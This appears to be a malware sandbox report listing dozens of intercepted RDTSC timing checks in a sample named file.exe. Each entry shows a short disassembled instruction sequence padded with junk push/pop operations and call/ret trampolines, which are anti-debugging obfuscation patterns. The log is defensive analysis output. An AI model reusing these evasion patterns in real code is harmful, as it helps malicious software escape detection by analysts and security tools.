Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E290 second address: 106E2A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E2A2 second address: 106E2A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035685 second address: 103568A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103568A second address: 1035696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAD1CCFA086h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1035696 second address: 10356BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD1D201C37h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10767A0 second address: 10767C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10767C3 second address: 10767CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10767CD second address: 10767D7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076B02 second address: 1076B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076B0C second address: 1076B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076C4A second address: 1076C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076C50 second address: 1076C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076C5A second address: 1076C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAD1D201C26h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076D91 second address: 1076D97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076D97 second address: 1076DAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076DAC second address: 1076DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076DB3 second address: 1076DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C2Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076DC6 second address: 1076DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10776FE second address: 1077704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077704 second address: 1077740 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD1CCFA088h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 100DCFF4h 0x00000011 movzx edi, cx 0x00000014 add edi, dword ptr [ebp+122D3BA8h] 0x0000001a push E0FA65FBh 0x0000001f pushad 0x00000020 jmp 00007FAD1CCFA096h 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077740 second address: 1077744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107785C second address: 1077860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077860 second address: 107788F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FAD1D201C37h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FAD1D201C2Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077A93 second address: 1077A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107839C second address: 10783A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078543 second address: 1078549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078549 second address: 107854D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107895F second address: 1078974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAD1CCFA086h 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FAD1CCFA086h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078974 second address: 1078993 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 jg 00007FAD1D201C2Ch 0x0000000e mov dword ptr [ebp+122D3137h], eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 jno 00007FAD1D201C26h 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AB88 second address: 107ABAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FAD1CCFA098h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B3D0 second address: 107B3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C1E3 second address: 107C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FAD1CCFA088h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 movzx esi, bx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007FAD1CCFA088h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 push 00000000h 0x00000044 xchg eax, ebx 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CD8A second address: 107CE02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FAD1D201C39h 0x0000000d jnl 00007FAD1D201C28h 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FAD1D201C28h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D32B8h], eax 0x00000037 push 00000000h 0x00000039 xor dword ptr [ebp+122D3155h], ebx 0x0000003f xchg eax, ebx 0x00000040 push ecx 0x00000041 jmp 00007FAD1D201C33h 0x00000046 pop ecx 0x00000047 push eax 0x00000048 pushad 0x00000049 push esi 0x0000004a push ebx 0x0000004b pop ebx 0x0000004c pop esi 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CE02 second address: 107CE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CE06 second address: 107CE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D8D8 second address: 107D8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FAD1CCFA086h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D5F2 second address: 107D622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1D201C33h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D622 second address: 107D628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D628 second address: 107D637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E2F3 second address: 107E2F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E2F9 second address: 107E31A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FAD1D201C34h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082956 second address: 108299F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, edx 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FAD1CCFA088h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a jmp 00007FAD1CCFA093h 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082B1B second address: 1082BBA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD1D201C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FAD1D201C28h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 movzx ebx, dx 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FAD1D201C28h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov ebx, esi 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 sub dword ptr [ebp+122D1E2Bh], esi 0x0000005a mov eax, dword ptr [ebp+122D0351h] 0x00000060 jmp 00007FAD1D201C38h 0x00000065 push FFFFFFFFh 0x00000067 mov ebx, edi 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FAD1D201C2Eh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082BBA second address: 1082BC4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10838D6 second address: 10838E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082BC4 second address: 1082BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAD1CCFA098h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084941 second address: 1084945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10838E1 second address: 10838E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084945 second address: 1084949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10838E5 second address: 10838E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10838E9 second address: 10838F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FAD1D201C26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087909 second address: 108790D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10838F7 second address: 10839B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 and edi, dword ptr [ebp+122D1C57h] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FAD1D201C28h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr [ebp+1243D459h], edx 0x00000035 and edi, 23FABF48h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov dword ptr [ebp+122D1D20h], esi 0x00000048 mov eax, dword ptr [ebp+122D11C5h] 0x0000004e sub edi, 647D6F87h 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push edi 0x00000059 call 00007FAD1D201C28h 0x0000005e pop edi 0x0000005f mov dword ptr [esp+04h], edi 0x00000063 add dword ptr [esp+04h], 0000001Dh 0x0000006b inc edi 0x0000006c push edi 0x0000006d ret 0x0000006e pop edi 0x0000006f ret 0x00000070 mov edi, 43157E9Bh 0x00000075 jng 00007FAD1D201C2Ah 0x0000007b mov di, 7036h 0x0000007f nop 0x00000080 pushad 0x00000081 jmp 00007FAD1D201C36h 0x00000086 pushad 0x00000087 jmp 00007FAD1D201C35h 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10886DF second address: 108875B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FAD1CCFA088h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 xor bh, FFFFFF98h 0x00000029 cmc 0x0000002a xor di, 4B70h 0x0000002f push 00000000h 0x00000031 cld 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FAD1CCFA088h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 je 00007FAD1CCFA088h 0x00000057 push esi 0x00000058 pop esi 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108790D second address: 1087913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1087913 second address: 1087917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10897C1 second address: 10897DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FAD1D201C26h 0x00000009 jo 00007FAD1D201C26h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10897DA second address: 10897DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10897DE second address: 10897F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10897F7 second address: 1089890 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAD1CCFA08Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FAD1CCFA088h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 xor dword ptr [ebp+122D39A4h], eax 0x0000002c mov dword ptr [ebp+122D2853h], edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007FAD1CCFA088h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+122D3551h], edx 0x00000056 mov ebx, edx 0x00000058 xchg eax, esi 0x00000059 jo 00007FAD1CCFA090h 0x0000005f pushad 0x00000060 push edi 0x00000061 pop edi 0x00000062 jg 00007FAD1CCFA086h 0x00000068 popad 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FAD1CCFA098h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089890 second address: 1089896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089A53 second address: 1089A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A766 second address: 108A777 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FAD1D201C30h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089A59 second address: 1089A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089B0F second address: 1089B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jno 00007FAD1D201C26h 0x00000012 jnl 00007FAD1D201C26h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jnp 00007FAD1D201C26h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A802 second address: 108A811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAD1CCFA086h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D86C second address: 108D871 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D871 second address: 108D8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FAD1CCFA088h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jng 00007FAD1CCFA08Ch 0x0000002a mov dword ptr [ebp+12464C9Dh], ebx 0x00000030 movzx ebx, ax 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007FAD1CCFA088h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f or dword ptr [ebp+122D2BADh], edi 0x00000055 mov dword ptr [ebp+122D349Ah], eax 0x0000005b push 00000000h 0x0000005d mov dword ptr [ebp+122D2853h], edi 0x00000063 push eax 0x00000064 pushad 0x00000065 push ecx 0x00000066 pushad 0x00000067 popad 0x00000068 pop ecx 0x00000069 push eax 0x0000006a push edx 0x0000006b jnc 00007FAD1CCFA086h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E9B4 second address: 108EA0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FAD1D201C28h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 call 00007FAD1D201C34h 0x0000002d mov bl, 9Ah 0x0000002f pop edi 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 jl 00007FAD1D201C34h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108EA0C second address: 108EA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FA6 second address: 1090FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FAA second address: 1090FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1090FAE second address: 1090FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FAD1D201C2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
